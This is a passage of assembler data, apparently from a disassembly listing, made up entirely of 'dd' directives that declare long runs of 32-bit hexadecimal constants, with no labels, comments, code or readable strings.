		dd 6CA520FAh, 1C534B0Bh, 8DE680FCh, 1FE75C74h, 80D1B9BFh
		dd 0F65A3147h, 0DF3BCFB5h, 864B800Ah, 41E245F9h, 609A00C9h
		dd 0F820A7CDh, 0AA0E27F5h, 0C0D47FABh, 0DD3E4551h, 0BC9402D9h
		dd 4AE17309h, 7000446Dh, 54EF24C8h, 0EDAE0131h,	2BCDF042h
		dd 3381DC3Ch, 7D0CFC04h, 948076B8h, 0DB720Ah, 66D7A736h
		dd 0F182248Ah, 0ECBA7C00h, 7F93D1E7h, 25C10041h, 28E87186h
		dd 0AF1C16F8h, 0E940C4B5h, 0FEA9F729h, 0AC500068h, 13956A2Fh
		dd 59009BD7h, 73FF99B5h, 1F1DBE4Ah, 0C738C404h,	0C00D2E96h
		dd 5AC27E01h, 197AA403h, 0F0CBA508h, 800F8Bh, 35040C75h
		dd 153368C6h, 0EFBB5D1Ch, 0AEEE8847h, 4B700019h, 37590B8h
		dd 0D0C6B789h, 479033D5h, 5200AFE5h, 0F9A20F71h, 133FB464h
		dd 2CC405h, 30D01D60h, 0D7004FD9h, 79E96CAh, 0E672FA98h
		dd 37F00011h, 94E658E5h, 0DA393391h, 2E4D8730h,	8990AFBCh
		dd 71D9DCh, 8FF1E811h, 333FE7Bh, 0ED60800h, 10C66FD5h
		dd 23FD0070h, 0AC8DC2B2h, 740087E5h, 0CE4FF060h, 0CB7616Bh
		dd 0D51B6C43h, 22016572h, 8AA34D8Dh, 7DC42421h,	0E486136Eh
		dd 68960181h, 601DA046h, 7094F96Dh, 0CC010D13h,	805FA119h
		dd 0E23AC20h, 11B2486Eh, 0E364C001h, 17188074h,	30737EEh
		dd 54DE0296h, 0C32F76BFh, 5E01AF40h, 73CCD84Ch,	0F98F4900h
		dd 0C90A0B14h, 0A5F40065h, 20E70996h, 660071DFh, 0F1228E83h
		dd 1D95C39Bh, 93790AAh,	480899Ah, 3C46D1FEh, 80CC2ACBh
		dd 245EE1FEh, 0D96500A9h, 51E02CA5h, 3300A10Ch,	564C93E9h
		dd 0B8F31927h, 7A83037Eh, 0FD083587h, 0C92CE1C8h, 74373C26h
		dd 0B75B4F05h, 1C17BC88h, 0C194BA8Fh, 0E71037C4h, 0FB01E471h
		dd 84E49100h, 33DF862Ah, 138E072h, 0A55CA405h, 0CC07DBF4h
		dd 0AA000B61h, 3633DC39h, 0A6E4FFh, 34F79AA7h, 4A43EF4Eh
		dd 41C3107h, 7E34060Fh,	0D7EABB80h, 0B8CD003Ch,	0A9ACEB23h
		dd 70000363h, 0E85AF29Fh, 399145BDh, 484CC92Eh,	71EBB300h
		dd 377C2B27h, 8D35F100h, 6930BDA0h, 0AE79C4h, 2C0FD3FBh
		dd 0C52E97A8h, 0F2A97000h, 126CE6EFh, 5ED60091h, 0BA413D4Fh
		dd 0D8FBAA5Dh, 0B9005988h, 76FB5DAh, 0ED67E086h, 0EBBDFCh
		dd 0C1B17863h, 0C8FDD74h, 68005498h, 0E91DB52Ch, 910A6Eh
		dd 559E5C54h, 0D60FD7CEh, 80519B3Eh, 15071640h,	45BBA2h
		dd 0DE63F996h, 5BE172FDh, 4DD76400h, 716C29D0h,	343E40CFh
		dd 635CC4E4h, 0EB9E0056h, 96B3171Dh, 0D4250099h, 60E20681h
		dd 52002F95h, 0CEE324B2h, 0D98D0Ch, 0F1C43D14h,	0B9AACCC3h
		dd 0DC0053B8h, 171A48ECh, 1ED037h, 0C3E4E24Ch, 0FF10D6CEh
		dd 6498651Dh, 0FD134703h, 0F882EEDh, 0F0D90030h, 1150DBE7h
		dd 0F139B307h, 0CE6184DFh, 61C4A0CBh, 2B150104h, 4E41E9C3h
		dd 44E47020h, 8983F200h, 15EE163Bh, 0BD8E005Bh,	7B111F0Dh
		dd 0AD1CA091h, 5DDD3235h, 5F00B424h, 0DAAA92D1h, 0D18076Fh
		dd 90EA015Ah, 141D68D2h, 0D5E75300h, 4EA2E9DBh,	0F377BFh
		dd 288B3CF2h, 0BEC24F4Ah, 5DEAF100h, 727A062Fh,	0C9A70519h
		dd 0C39F83F5h, 0BFA80C24h, 0A9004B8Fh, 1C1DBC6Ah, 3AEE7A12h
		dd 0FE8217F3h, 0F69AB34Ah, 0A2690C0h, 0F1835200h, 0CA62B131h
		dd 0C8E00061h, 0CB46ABF5h, 0FD00971Dh, 703B41E6h, 0F8ADE6Ah
		dd 1A0766B0h, 1D4EB4Ah,	6F85FE54h, 3B5AE036h, 94DFF028h
		dd 0D563BA00h, 0E616F991h, 9B5714DAh, 7B9C94h, 0FB44B4AFh
		dd 0EBF134B8h, 0EECC410Fh, 3F58C11Ch, 3D8D075h,	11B900D1h
		dd 0B45E06A1h, 0B10239F3h, 0A3916079h, 7334587Dh, 0A18B5AD9h
		dd 85AF0040h, 7B004CFDh, 0C5664B15h, 0BAB0B6B7h, 0FB7854h
		dd 0E5F4DC42h, 0E921E70Ah, 61E0791Fh, 0F960B83Ah, 0B2839B02h
		dd 0E0B0EB89h, 1ECD7258h, 0F74ED37Dh, 10660710h, 0F7F22BFh
		dd 80305138h, 52874D37h, 1E3A04C4h, 40BBD13Bh, 9E26F2A2h
		dd 0A60099E1h, 0C44B8601h, 1851D314h, 50E97AD7h, 1B006AF9h
		dd 0EDB86F4Dh, 7CE736h
		dd 3833C769h, 0F7E11885h, 27CAC400h, 0A73C73BEh, 0DF250139h
		dd 529288C2h, 0D360200Bh, 245C9D3Fh, 291E6C02h,	4D00801Ch
		dd 0D9DB176Bh, 0EB60266h, 0E6CCFE49h, 9A7FCCE0h, 0C934FF08h
		dd 0B95300E7h, 0EC6474B1h, 5E05917Dh, 98762538h, 490A8F80h
		dd 7FF64C3Fh, 69916800h, 8DBED9CBh, 0BF7483B0h,	0CD47CA02h
		dd 409BE8ACh, 58F2AE04h, 720770B7h, 5019232Ch, 64FB9D92h
		dd 7C56A207h, 1B801D8Fh, 1E17CE98h, 3BEBA03Dh, 17C92Ch
		dd 6ED8F7B5h, 0EA60BA6Fh, 0AB8BC619h, 77D90105h, 0EEE37B9Ch
		dd 50888036h, 4A19B041h, 7D9B0046h, 23A9291Ah, 2F007188h
		dd 0FA392D3h, 565821h, 15750B74h, 0BBA6E7A7h, 9D8CC40Fh
		dd 0A3DBE0A9h, 1D2FDD44h, 0C060E170h, 88BA5ACDh, 0AC01CB01h
		dd 72DE0DAAh, 0B1F06F1Ah, 3E0E72F7h, 880038D3h,	0B987CAE2h
		dd 63E25462h, 2E9A3D0Bh, 0F6058705h, 78BE7C60h,	4A900CBh
		dd 12F7DDA8h, 0C0C00B02h, 0C2C4E3D8h, 0E900FE5h, 8CC06542h
		dd 13692E0Ah, 0EAAB8D0Bh, 7B35009Bh, 4BCE20h, 0D41CA5B9h
		dd 5D9EEC26h, 0EA77B700h, 0D23809DAh, 31300CDh,	0A9647EFDh
		dd 0FA6066BFh, 0B32A7F50h, 0C61F00E8h, 0E37251E2h, 66009376h
		dd 4C278F1Dh, 15E8A60h,	88B52152h, 0DC34F5D0h, 0F1029910h
		dd 8E117237h, 0B78EE009h, 822B5833h, 240B9400h,	0BE738370h
		dd 0E606EE00h, 0E4EFD053h, 0B57C0193h, 6DC8862Ch, 7FC0D27Ah
		dd 0AD00552Fh, 8D3C959Eh, 0DFD77Fh, 0E1786552h,	0E8D247CFh
		dd 0C50D5A07h, 0C380C049h, 0FCFAC716h, 57513CBAh, 0F9FCD600h
		dd 989E2B74h, 15F8C800h, 0D4C99513h, 56FB012Ah,	333F75C7h
		dd 0BF5420CEh, 0A3445204h, 0FAC0F036h, 18C82B2h, 37091E6Ah
		dd 607F9BE9h, 0ED580688h, 0AF3B0097h, 34A0BAA4h, 93100ECh
		dd 0BDAC92C9h, 0BEEAD042h, 478C2501h, 0FBA079E6h, 3DE04020h
		dd 400FD17h, 8F083663h,	88EA9E72h, 14007C90h, 0AA2F0DF3h
		dd 7E64E87h, 7EF763BEh,	0A7E963ADh, 378EF9C8h, 2698D90Eh
		dd 0B7F38009h, 189E0Ch,	6F3416E7h, 0CAE91466h, 4312200h
		dd 0F4A30208h, 5EA00CFh, 2E7EFFDDh, 6DEEE665h, 10468A00h
		dd 0E8CC992Bh, 0C0BF7EA7h, 0E903FE61h, 88DDBD54h, 7E483540h
		dd 504B9D11h, 94C8B1h, 91490690h, 50ACD87h, 0A5FDFE03h
		dd 0D36C6B61h, 0F48084AAh, 3A44645Fh, 200E847h,	7DA2CE82h
		dd 0AA003DA6h, 0B1BEEED9h, 24A3CCF1h, 105B3Ch, 7D7206B6h
		dd 8278505Dh, 5955B900h, 0D5C02D94h, 42FE0021h,	886CC64Fh
		dd 26009F6Bh, 0F6A6CBF1h, 507A6E47h, 91CFF2h, 0FDCE032Ch
		dd 8C7B2EC2h, 171FDD01h, 7294E64Fh, 0AF0BB440h,	4EE10075h
		dd 0B74070B0h, 0E60E0AFDh, 3F35ED1Ah, 0E13C7183h, 62CC831h
		dd 80A60092h, 0D0E7EE61h, 6C98F8B7h, 0DD09377Eh, 0B3E194h
		dd 0AD217584h, 0BBC9009Ch, 3E4A1B51h, 0F000A1ACh, 0A8EB3FC3h
		dd 775F5DEh, 0FD7D664Fh, 87E3A3D8h, 312F2CB0h, 0B85B101Ch
		dd 0BC9807Eh, 80117C99h, 6EBA014Ah, 372FD715h, 0C4D44097h
		dd 1650361Fh, 4200D2F8h, 0E1568044h, 1C73C129h,	8A23904Ch
		dd 28FCF4D6h, 0DC15000Ah, 3106E9E5h, 0BE60F7E8h, 6857ADC0h
		dd 0FB4000C9h, 18F87ECFh, 15053D35h, 0D0B6D8DEh, 805C400h
		dd 9ABE80Ah, 35FEFAEEh,	81740080h, 0BCF69379h, 179E155Ch
		dd 0B00FF566h, 0CFBDA009h, 14A811C0h, 0F00B1D06h, 54E39F01h
		dd 40B4215Ch, 0B9C1C3D8h, 87623A00h, 0E3C7255Dh, 0A47C0061h
		dd 720B5BE7h, 0DE75D057h, 6F5AEC00h, 694737B2h,	933B00E1h
		dd 30D93CE3h, 0F8F512F1h, 0B701E746h, 0C26DB035h, 3E70C68Fh
		dd 80A139DAh, 32F82A80h, 7331AFAAh, 6E45C00h, 0B69F816Fh
		dd 6E0700F7h, 5975FD04h, 0A913769Ch, 4D04AE78h,	8C80C583h
		dd 0E8B9A4BEh, 5DA100CEh, 0A921714Dh, 6A00F6C1h, 0E878562Ah
		dd 0B0FFDFD6h, 0C267026Ah, 40B8E287h, 99D20C48h, 2EBAC800h
		dd 9E6D7FA6h, 609009h, 0D4D07EFCh, 0F778F473h, 0B8910207h
		dd 1190532Bh, 1F67A7h, 0FA400AEFh, 955260A6h, 29827F04h
		dd 0C906B64h, 4E53F3Dh,	6FAA5627h, 0D8C567h, 525D4262h
		dd 0F100A8A5h, 9414544Bh, 0D62F37h, 3973BF64h, 8070CAE3h
		dd 0DDA67603h, 90A88FADh, 0BD077h, 5F53AE02h, 0C0CE239Eh
		dd 380E958h, 8B04D2Ah, 5A2F88A9h, 8098EAh, 0D0C2BA81h
		dd 4D1CC43Fh, 71FDA500h, 0A15F809Bh, 627300D9h,	18E4C785h
		dd 9C00D1C0h, 9D5D1F0Ch, 270899h, 6AF3D71h, 682ABE05h
		dd 0EA003478h, 6DA4F5FCh, 0F88B5Ch, 0BD7995C9h,	355D7537h
		dd 5BA6A900h, 0D63B9657h, 9D9C004Ch, 0E0AABF0Fh, 42018E20h
		dd 0DAA258BDh, 0F8E0CF66h, 7CDF49D1h, 0F7AE2D07h, 71D8A0B0h
		dd 2B0069ADh, 74047B4Ah, 3F36080Eh, 0CA806699h,	37754C3Ch
		dd 0CF48EFB0h, 5CA10047h, 0A0122E40h, 0C5F20006h, 34047230h
		dd 9600298Fh, 3BCB10D9h, 21494Fh, 40C7B38Eh, 0D277595Eh
		dd 4AE81D4h, 0BAF68B60h, 35A3AD0Fh, 207ED31Bh, 1B9AEA3Ch
		dd 0FF1195A4h, 61CF5D80h, 30789D8Eh, 7F0ED503h,	0B0F4F71Dh
		dd 30F2A02h, 7CDFFF2Fh,	603D41B3h, 35D706B1h, 18497F22h
		dd 700C9AB2h, 0DE18E5BAh, 4090DC4Eh, 8E690092h,	0DA89AC2h
		dd 100EA09Fh, 203FC1F6h, 5C6BF23Eh, 0BA560008h,	5D40CC69h
		dd 68A07F0Fh, 8A037D4Eh, 619ACABCh, 57C002B3h, 0C93FF0B1h
		dd 8E8D64E8h, 30BB1037h, 0EB7A3D80h, 5B4707A5h,	0C1B206FDh
		dd 0FC52C69Ah, 0B3166B8Ch, 78005705h, 0B20C0887h, 9C7548ADh
		dd 0EBC42400h, 3A44974Bh, 1C701826h, 0E80101Ch,	354989C8h
		dd 98F70785h, 90B46AB3h, 6C0F6FF4h, 20792D07h, 0F8102EE8h
		dd 0A03E55h, 8BE48131h,	9B1E2AF7h, 1C4FA63Ah, 13808C50h
		dd 0F9748D67h, 26B900E1h, 9B2CC36Eh, 9C031A7Ah,	0F3D4FA88h
		dd 0C00B9857h, 0BC6E0093h, 1C656874h, 0E45C473Eh, 1E443A10h
		dd 644013B4h, 2A9D9E35h, 79800AABh, 8EA0E95Fh, 0B4C0231Bh
		dd 0EE024CDEh, 55699C00h, 5612C7D6h, 90F62AA0h,	5ED4009Ch
		dd 48863287h, 9324BD69h, 0D8005B1Dh, 67B20B73h,	9B7E5C8Ah
		dd 0E5796000h, 6CC9CA3Fh, 0C4DF68CAh, 223D3781h, 4230B061h
		dd 0DAEC00A3h, 0F8ECC4Dh, 121F657Dh, 3E98A57Ah,	60410431h
		dd 0DE2981A0h, 0E9720F8Fh, 0A518747Eh, 6F293D0Bh, 0F7400047h
		dd 32495833h, 0E3289A63h, 0A55C10B7h, 68DA00B9h, 6027D1C8h
		dd 114500ADh, 0EDCC20Ah, 34030549h, 0CFB0240Fh,	776EF9C9h
		dd 189FBBF0h, 491BB735h, 3960C736h, 493267FEh, 4C1000FDh
		dd 628F92F3h, 840026F2h, 59A93C60h, 71FE7B7Ch, 4A0E1E0Dh
		dd 0B7C1C011h, 4C0B567h, 324C3Ch, 0EDD0A34h, 350D28h, 1660EB4Bh
		dd 0C0AAD662h, 92651200h, 0BE719834h, 0BCAB58B8h, 7872EB58h
		dd 0C8A60085h, 0D410C757h, 56397EB7h, 4F2B0A88h, 900FECA1h
		dd 41C340BAh, 66CB93h, 0F4DCEFCDh, 0B257FA30h, 968FD613h
		dd 4C659C00h, 877B67h, 8B7671A9h, 0B1C53044h, 0AF84CCE3h
		dd 0A4179701h, 39F4D4EFh, 80FB2DCDh, 7BC836C4h,	49EE07h
		dd 2AB59769h, 0AF5D916Ch, 0AD686B0Eh, 0BA83E046h, 0E51358h
		dd 0ED30E660h, 0C4D6B141h, 440791B0h, 497B994Ah, 420B5630h
		dd 3D4B2665h, 4CCA011Ch, 0E493A674h, 96008AF3h,	0C6E53E82h
		dd 1C4CD5Ch, 631E3C5Fh,	0CC8375A0h, 0A1E831C7h,	72011771h
		dd 2752AD9Ah, 62E4E69Fh, 166105D4h, 80CD58EDh, 8DCFF41Eh
		dd 621995F5h
		dd 9CFF8304h, 29103A04h, 78AE2E80h, 6C4EB13Fh, 39CA1600h
		dd 0FF2C707Bh, 0C8914808h, 2D6D280Ch, 4F446529h, 2488441Bh
		dd 44559044h, 2284C92Bh, 41E17CA3h, 1227C728h, 233C82FDh
		dd 43C257Eh, 4A365B28h,	12081421h, 9D389083h, 15213451h
		dd 9086BB08h, 32308454h, 65423948h, 84702E84h, 2D48316Fh
		dd 2F8B1442h, 3B919C10h, 22005122h, 5DC75620h, 59B92F4h
		dd 55CE8994h, 11CB81CBh, 0E8F52044h, 806BDB3Bh,	5EABFCB5h
		dd 232FFh, 426AEE97h, 0B1642CD9h, 0AFCE5600h, 0FA1A9D30h
		dd 1F79814h, 6DAD943Ch,	0D25489ECh, 60F126C0h, 15446400h
		dd 0ACBC2E45h, 0CD740705h, 505219A7h, 0C9149FB1h, 9176C800h
		dd 4926410Dh, 0B34737CBh, 48CE30B6h, 533CB50Ah,	803E002Ch
		dd 8FF92B12h, 0B4363091h, 3AE78E19h, 0A38B7000h, 6583F87Eh
		dd 0F77C30D5h, 3FBA0B21h, 0B1891800h, 0D6F6F860h, 0CCB868h
		dd 79EB5A0Fh, 7C050D36h, 4429B602h, 481D3121h, 0AC504Ch
		dd 0A90F953Ch, 9139A79h, 2FA08A00h, 0CB7A644Eh,	8EFEAEh
		dd 16BBA51Ch, 1477B85Bh, 39BDFA30h, 18171E2Eh, 1876EF99h
		dd 971DB6C8h, 30426E28h, 48C20B5Ah, 0F709AE98h,	1D720AF0h
		dd 4FFF8FD9h, 1B80AB70h, 0CB94ECE5h, 788DCCFFh,	65CEBF00h
		dd 54E75734h, 9EC600DAh, 4D06B95Fh, 0F400289Ch,	0B07EE351h
		dd 752502CAh, 8DFD008Ch, 343929F0h, 0A260D872h,	58F96328h
		dd 0B7B80152h, 91C992EFh, 5B5083DBh, 0C8133EAFh, 0CB299Bh
		dd 14305119h, 1528A594h, 0A07D58h, 96220360h, 3E34F33Fh
		dd 66006258h, 4124778Dh, 0E30E92C5h, 0C0AE754Eh, 520CBD3Fh
		dd 0E54A0020h, 1FA90156h, 9400221Eh, 0ABB36D38h, 8309D2h
		dd 555A519h, 1676B90Ah,	0F781C207h, 33B0FE67h, 0E9353Ah
		dd 0D06BF578h, 6C638ADCh, 7B091A1Eh, 9D15C780h,	0F5CFE4Bh
		dd 8521A3D2h, 0C6FFAA0h, 0E1395084h, 9CD392EEh,	55B46005h
		dd 0FB9EF203h, 73B2A868h, 0E6820023h, 2409FE08h, 30019333h
		dd 89E86F0Bh, 0FDE476FCh, 118F001Ah, 7EB3ADA1h,	472499D9h
		dd 0ED804819h, 0C87AA627h, 0BF82014Ah, 61EA08BEh, 0B253F00Ch
		dd 0F55E0300h, 977B6893h, 870D00AAh, 7D79361Ah,	0A2478EFh
		dd 43604073h, 0FC015Fh,	7BDD48A7h, 0C1230356h, 0D5544200h
		dd 275E042Fh, 3A4D00F4h, 0AD86C283h, 6B006557h,	95125F02h
		dd 60C867E5h, 0EDFE16D8h, 0C7001D39h, 6650518Bh, 46E4F7h
		dd 0D5CAA635h, 37952574h, 8F006FF8h, 0BDB66CF8h, 16286BB2h
		dd 6723C0h, 0DEADEF66h,	6900FD34h, 94BD722h, 48A95DE1h
		dd 0CA2EC860h, 438F02E1h, 8FE0760Dh, 94A01B3Ch,	0B6073296h
		dd 1678654Fh, 8C6E5440h, 97B100F0h, 0DEC32305h,	190027DCh
		dd 3E66C0CBh, 1263BE39h, 85445h, 0AB65DB94h, 6C2D0C8Dh
		dd 0E30A80EEh, 215B133h, 49FA7791h, 0DB80ADC8h,	0BAACD47Dh
		dd 286EB30Ah, 6309CD72h, 89A8200Ah, 778C2ABh, 19D05409h
		dd 86E85075h, 70059D3h,	71609D8Fh, 0F6030CB7h, 0B3530054h
		dd 9288125Bh, 0A600A16Fh, 2FBABE9Bh, 0EAD2A4h, 37252D08h
		dd 3F26079Dh, 3B659800h, 3EF429A0h, 4B4900F6h, 0D4D86EE3h
		dd 91002127h, 6A157110h, 0F47DEA0h, 0C481C889h,	183E32E1h
		dd 0B898DC51h, 0D6707100h, 0D93FCF2Ch, 78B324D1h, 286900C8h
		dd 1768857Fh, 80E2243Eh, 9A0C08F5h, 2C0DEAh, 0C4809EC5h
		dd 0E93385A3h, 8FC8F800h, 0CC4243FAh, 1E3F75D0h, 0C0516AAEh
		dd 0B8763E7Bh, 0F3002E19h, 0A8C01CFFh, 66D52Ch,	8B4539F6h
		dd 7F44853Eh, 6B51C101h, 0AA3643A2h, 66BA91FBh,	13B9A8F3h
		dd 3E90088h, 5191E75Fh,	4001DFCh, 1EB1EE2Bh, 17C6E29Eh
		dd 2815E76h, 7183D816h,	3EB800E3h, 6B703FA2h, 0D4877A00h
		dd 0FBE20C7h, 81CC4F4Dh, 0CC614334h, 3E00D9A2h,	0FA6F4A3Ch
		dd 688377h, 21BBAF8Ch, 0A7F3E457h, 7325C8FCh, 437403Dh
		dd 0EED4A095h, 1CB1EAE9h, 5FAF4F7Ch, 870A619h, 2D013E9Fh
		dd 769CE83Ch, 0CAA9C8h,	1C1805C1h, 79975CB4h, 0CB368C00h
		dd 0B634292Fh, 0F45F04Ch, 70FC18CEh, 2AD50180h,	8B07DF31h
		dd 59CC68DCh, 6AB23D70h, 20DE176Fh, 45784F5Bh, 47EE6560h
		dd 0EF3126FCh, 396EE232h, 1D80C820h, 804BB534h,	0D3372BADh
		dd 0C202CEA6h, 255BED49h, 20BC41C5h, 1C057AD4h,	5D87084Fh
		dd 238EC01Bh, 0BCFB732Dh, 15EB0700h, 77CF81FAh,	0A9C70074h
		dd 3D88160Fh, 8E00AFB5h, 980159BBh, 0CE31A35Eh,	0B806D98h
		dd 57169C34h, 0EA87681Dh, 0BB79E503h, 3FB5E9F0h, 983A9EE4h
		dd 55020080h, 0E40D66DBh, 5A00BEFBh, 9C816545h,	3F26EF09h
		dd 0CC006D5Eh, 0B27120A3h, 2E70FA4Ch, 13009B7Ah, 1D792B58h
		dd 3EA77DCh, 8C7BF1F9h,	0FEE0024Eh, 9907E314h, 108A4928h
		dd 6D6B8710h, 748C0167h, 0A99555EEh, 3AD6E8DFh,	6970A2E2h
		dd 80F84238h, 3B02A578h, 3AD29F48h, 279124Eh, 83D7500Fh
		dd 28C0A461h, 0DF00B86Ah, 186265B0h, 0E211D03h,	0CB52DC41h
		dd 878B9220h, 631C5102h, 85806F0Dh, 0BA78D153h,	0BD29006Bh
		dd 0E357C2F1h, 0E804182Ch, 0A6983877h, 343D9C00h, 0A958CD7Bh
		dd 834317B0h, 0EA79000h, 6C4A3Eh, 0CA44E9F6h, 5E1BDD9Dh
		dd 57112600h, 36301CF1h, 0D7350058h, 0EDEC64BAh, 742EC073h
		dd 8F1FD517h, 98F65E80h, 26FBC1E0h, 1B4D160h, 468B09B5h
		dd 3CFDD423h, 0E07DCC0Fh, 72F1A08Ch, 7970FEh, 0B82AEED2h
		dd 0FA9CB206h, 13D44E00h, 1611AB4h, 48CF64Ch, 453E7882h
		dd 6FC88083h, 48002AF7h, 8FEEBBD2h, 0E77E1Ch, 0B4465605h
		dd 4CD68D3Dh, 5B3E6900h, 5044F680h, 0BFB20057h,	0F78411CBh
		dd 0E00E8F1h, 932F342Dh, 227BB31h, 0D996C2Ah, 8220A4DDh
		dd 0EE7972CEh, 2454B8B7h, 1B80685h, 0CC2A8F1h, 0FA2A30AEh
		dd 0DCCA5Ch, 6B8B0A15h,	11A70Fh, 7CD959D7h, 0D066543Eh
		dd 0FD8FCF16h, 0A6C9400h, 63E799h, 573B46B8h, 2B1BE2D5h
		dd 0D3587490h, 67FD01F8h, 0CC7173AEh, 5B75C8h, 0ABD414D5h
		dd 0FF24799Fh, 0F08EC300h, 2C1B1519h, 62C21F40h, 148240Ch
		dd 971DC93Bh, 0A44AC04Bh, 0D4F2E801h, 0E9023573h, 9542F881h
		dd 206027E2h, 900050Ch,	0BA3F538Fh, 36C3618h, 10D10C42h
		dd 73984A56h, 3C00EA74h, 78E7CEEh, 5C81FD6h, 153428A7h
		dd 0C2C90062h, 86AAE65Eh, 0BA041902h, 0E0D3B9AFh, 2301214h
		dd 0C44DD785h, 0FD606BC2h, 0FB0065FEh, 35212D40h, 0F9A41Fh
		dd 0A5017ACBh, 0AF58DBECh, 0C7326101h, 9729A1Eh, 6A1D4E4h
		dd 26DF9E86h, 400B890h,	0E8305DEBh, 1EA45A79h, 0C0A5562Ch
		dd 72828391h, 0ED01A3F3h, 0EE73E8B7h, 0C040C433h, 2F9C30Fh
		dd 47C65487h, 968577F3h, 0A5D40026h, 0D6AA1EDCh, 0C82A5328h
		dd 0B098E548h, 0E5B94965h, 0A5409Fh, 0AF484CB4h, 2D092093h
		dd 809FAA59h, 0DF718F44h, 8BC11262h, 69300221h,	0E8E0B65Ah
		dd 14E4BD7Dh, 4E228000h, 84A9415Eh, 6B8FAh, 55CE6907h
		dd 94E36D3Bh, 0ED4E451Eh, 76018BDEh, 2EF0CB93h,	309CC1E8h
		dd 39A83734h, 24001D5Bh, 6257A585h, 87E248h, 0C46B1BA9h
		dd 3D3BD8D2h, 0C64A4B01h, 8A11B7B9h, 88607AC9h,	0A1450128h
		dd 78CC803Ah, 632DE875h, 7DC6F50Eh, 617C008Eh, 1ECD6E08h
		dd 80BA2C3Dh, 21D3A02Bh, 470F982Eh, 0CBF45195h,	348E0071h
		dd 0DF1DA4CEh, 5878806Ah, 3CF6E849h, 64913300h,	44B976C1h
		dd 0C18001Fh, 0C527285Fh
		dd 0D50256BCh, 0ED25D9FEh, 0B84CE311h, 905A4B6h, 0D8DE6063h
		dd 0B9852820h, 0DC9010D5h, 5C20F026h, 0B3C57000h, 7F48B14h
		dd 0C494F258h, 309620A6h, 0DA01FB17h, 0AEA971F7h, 0D440AAB5h
		dd 4A2F65D8h, 0E4B4009Fh, 0DC94DAB0h, 0E7A8B900h, 0F1366675h
		dd 6FC8F904h, 0E4C6004Ch, 0F2974062h, 6100877Eh, 78FECEF5h
		dd 925CD0Ch, 7A70D741h,	44808000h, 92883A52h, 540700B0h
		dd 0EA405ACEh, 88031945h, 0B3C07BE4h, 2A9C90BAh, 4B7A78h
		dd 5B6E2597h, 0B0E250CEh, 19953100h, 53DB7FCAh,	1EF10423h
		dd 0A7A060h, 2FDC6584h,	574912E8h, 0D5C480F9h, 1200E392h
		dd 384CF75Ch, 5106918h,	3936547Ch, 6290C09Eh, 7513D84Eh
		dd 4004237Ah, 742DB6Eh,	7848DE7Bh, 0BA058556h, 2158A20Dh
		dd 0A740B400h, 0AD78CDh, 0AAF496A4h, 3E56BBD4h,	6709A600h
		dd 0C2324731h, 9D340536h, 801BBE3Dh, 8A7D6F88h,	0AE4C4960h
		dd 0E09E19D0h, 0D5410E11h, 409853B9h, 2D00EC61h, 148281B1h
		dd 3B0E762h, 337D0716h,	6E8E0B7h, 640C182Fh, 0B035BF34h
		dd 9766018Dh, 0C3A202A6h, 0D2DC4DDh, 0F69F1B00h, 0B82B4C70h
		dd 0CFB1038Eh, 0A43A2441h, 74FC9DF9h, 3E3C99E4h, 0EAED8C0h
		dd 64EB95E8h, 7C80D969h, 4F3C884h, 179FF505h, 2B10C03Fh
		dd 0BB07425Dh, 97F411A1h, 5FD1A5F0h, 2B22809Ah,	14100C1Ch
		dd 20292DCBh, 1E7CDD20h, 658D0349h, 6C669FEBh, 0CFB37FD0h
		dd 0E5A0E909h, 605482C6h, 38D05Bh, 30FF63CEh, 0E84E6CC9h
		dd 92515300h, 33A6C315h, 2FB72C0Dh, 7543802Ch, 17CACEB5h
		dd 9CE72C02h, 0C0674A57h, 0FCD09EACh, 8F0805ADh, 80BA8E95h
		dd 0E929F9A7h, 90CAA00h, 34B5850Ah, 73E784Dh, 787EBA7Ch
		dd 650EF33Bh, 31A0EAE0h, 3D103A60h, 44462D6Ch, 860025A7h
		dd 907762E6h, 70112D1h,	17BBBFCAh, 2C690084h, 7813EE27h
		dd 1882A6D7h, 1DC447Dh,	644257FFh, 20C8EB80h, 330C47AEh
		dd 0D940DD37h, 0DF1B0065h, 612D7468h, 180919CBh, 0C049851Fh
		dd 6600D64h, 0C0DDC4C7h, 0C300905Fh, 0A16E248Fh, 3278EF7Bh
		dd 89799583h, 8200B052h, 77DA73D9h, 2A461Fh, 18B5E087h
		dd 5078E829h, 90E15F2Ch, 849C2F00h, 39EF66CBh, 3CF85456h
		dd 250052AAh, 0FC878EB7h, 8F00AC0Dh, 69A972CCh,	1A14B22h
		dd 4AC48CAAh, 0CCDDDE01h, 0B8002804h, 8E9AC56Ah, 7ED7A10h
		dd 0CE748A56h, 5004E7DAh, 154767FAh, 69318F00h,	0FE5B7F07h
		dd 4FC1007Ch, 8A068CBBh, 1C09AB6Ah, 7EC4E5h, 0AA75EF10h
		dd 3B5000C7h, 0FC9C0EA5h, 0AE7A8564h, 2BE3509h,	0A6680040h
		dd 0B27701D8h, 3F310400h, 0B0039119h, 0AD018E4Ch, 0B112D0B5h
		dd 50602335h, 5C8D1F19h, 8CEF06B9h, 4C003CFAh, 8BE39780h
		dd 281699B3h, 98DBBCA2h, 873600BCh, 0AA93815h, 0F8001759h
		dd 942716E1h, 3E70Fh, 0F941AE70h, 1929E576h, 0BBA2F406h
		dd 39C8753Bh, 0EE0B85F3h, 9C836826h, 9FA03453h,	0B4009BCAh
		dd 7BF83A23h, 9020178Dh, 0E3FB00B0h, 4F9FD0B7h,	6B0159C5h
		dd 1D538E98h, 0C3EBC24Eh, 0E0E6C078h, 237300A1h, 27EF983Bh
		dd 70C377D6h, 0E820A81Bh, 30045288h, 0ED306712h, 4309FAA0h
		dd 2080ECD4h, 3BAEFE40h, 0D0244809h, 926A3400h,	0C58C0B55h
		dd 1B4514Dh, 0FEE3E02Eh, 3C2C0EC3h, 0BED1ED00h,	0DAB183B7h
		dd 24F14E26h, 2FE65A07h, 2A802E00h, 19A960BCh, 5061023Eh
		dd 0ACF63328h, 9D122D00h, 6D644D56h, 0AB9C0977h, 6CC05819h
		dd 73008633h, 0B1DF1810h, 75A3CF15h, 0E7900543h, 80D0CBAAh
		dd 0CD531D50h, 4435242Ch, 8A1C7801h, 5E00DF7Dh,	940099FFh
		dd 5704B189h, 5424501h,	770C4710h, 0B5E8A0FDh, 54511600h
		dd 8C0F29E8h, 5E6F0024h, 0BF665605h, 0F4F69F3Dh, 0EC5BC405h
		dd 4480A874h, 0FC08F958h, 72EA0194h, 1E198BF7h,	302F212Fh
		dd 7F0099E4h, 0CD8FEDA9h, 0A564B6h, 0BDD19E38h,	0D57D3306h
		dd 0C407AC00h, 50324E8Fh, 0CDF9001Eh, 1CB8D26Fh, 4F00529Fh
